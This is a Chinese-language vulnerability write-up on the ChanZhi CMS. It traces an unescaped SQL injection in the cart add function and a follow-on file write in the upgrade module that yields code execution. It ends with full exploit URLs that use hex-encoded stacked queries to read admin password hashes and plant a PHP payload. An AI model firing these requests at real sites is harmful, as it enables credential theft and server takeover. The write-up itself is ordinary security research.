禅知在传递参数的时候不是直接全局防护,而是先调用dao类,也就是禅知的数据库连接类,然后再调用其中的quote()进行转义。
```
    /**
     * 对字段加转义。
     * Quote a var.
     * 
     * @param  mixed  $value 
     * @access public
     * @return mixed
     */
    public function quote($value)
    {
        if($this->magicQuote) $value = stripslashes($value);
        return $this->dbh->quote((string)$value);
    }
}
```
所以如果进行数据库操作的时候没有调用quote()函数,而且其他操作数据库的函数本身也没有调用quote()的话,如set()就没有调用quote(),那么极有可能存在注入。
\system\module\cart\contral.php 中 add是处理添加购物车的函数
```
28   public function add($product, $count)
    {
        if($this->app->user->account == 'guest')
        {
            /* Save info to cookie if user is guest. */
            $this->cart->addInCookie($product, $count);
            $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess));
        }
        else
        {
38          $result = $this->cart->add($product, $count);
            if($result) $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess));
            $this->send(array('result' => 'fail', 'message' => dao::getError()));
        }
42   }
```
第38行调用cart模型类的add()函数
\system\module\cart\model.php
```
23     public function add($productID, $count)
    {
        $hasProduct = $this->dao->select('count(id) as count')->from(TABLE_CART)->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->fetch('count');
        if(!$hasProduct)
        {
            $product = new stdclass();
            $product->product = $productID;
            $product->account = $this->app->user->account;
            $product->count   = $count;
            $this->dao->insert(TABLE_CART)->data($product)->exec();
        }
        else
        {
37          $this->dao->update(TABLE_CART)->set("count= count + {$count}")->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->exec();
        }
        return !dao::isError();
41     }
```
在37行调用了dao类,set()函数传入了可控参数,并且没有用quote过滤,存在注入。
验证:


这里存在注入,如果要从eps_user获取数据,需要下划线,但是:
```
if(strpos($uri, '_') !== false) $uri = substr($uri, 0, strpos($uri, '_'));
```
过滤了下划线。幸运的是可以堆叠查询。
所以可以
```
set @a:=0x73656C6563742070617373776F72642066726F6D206570735F75736572206C696D697420313B;prepare s from @a;execute s;
```
注入出后台账号密码后,可以在后台getshell
/system/module/upgrade/ control.php
```
public function processSQL()
    {
        $this->upgrade->execute($this->post->fromVersion);
```
跟进execute
/system/module/upgrade/model.php
```
public function execute($fromVersion)
{
        switch($fromVersion)
        {
    …
    case '5_5':
                $this->fixDetectDeviceConfig();
```
继续跟进fixDetectDeviceConfig
/system/module/upgrade/model.php
```
public function fixDetectDeviceConfig()
    {
        $mobileTemplateConfigList = $this->dao->setAutoLang(false)->select('value, lang')->from(TABLE_CONFIG)
            ->where('`key`')->eq('mobileTemplate')
            ->fetchAll();
        #var_dump($mobileTemplateConfigList);die();
        if(!empty($mobileTemplateConfigList))
        {
            $myFile = $this->app->getConfigRoot() . 'my.php';
            file_put_contents($myFile, "\n", FILE_APPEND);
            foreach($mobileTemplateConfigList as $mobileTemplateConfig)
            {
2089                $fixedConfig = '$config->framework->detectDevice[' . "'{$mobileTemplateConfig->lang}'] = ";
                $fixedConfig .= $mobileTemplateConfig->value == 'open' ? 'true' : 'false';
                $fixedConfig .= ";\n";
                file_put_contents($myFile, $fixedConfig, FILE_APPEND);
            }
        }
    }
```
其中2089行是从数据库中取出数据,拼接后写入文件,导致getshell
步骤:
写入一句话到数据库
```
http://target/www/index.php/cart-add-1-1;set @a:=0x757064617465206570735f636f6e66696720736574206c616e673d275c275d3d313b706870696e666f28293b232720776865726520606b6579603d276d6f62696c6554656d706c617465273b;prepare s from @a;execute s;#.html
```
从数据库中取出
```
http://target/www/admin.php?m=upgrade&f=processSQL post:fromVersion=5_5
```
                       
                       
        
          
暂无评论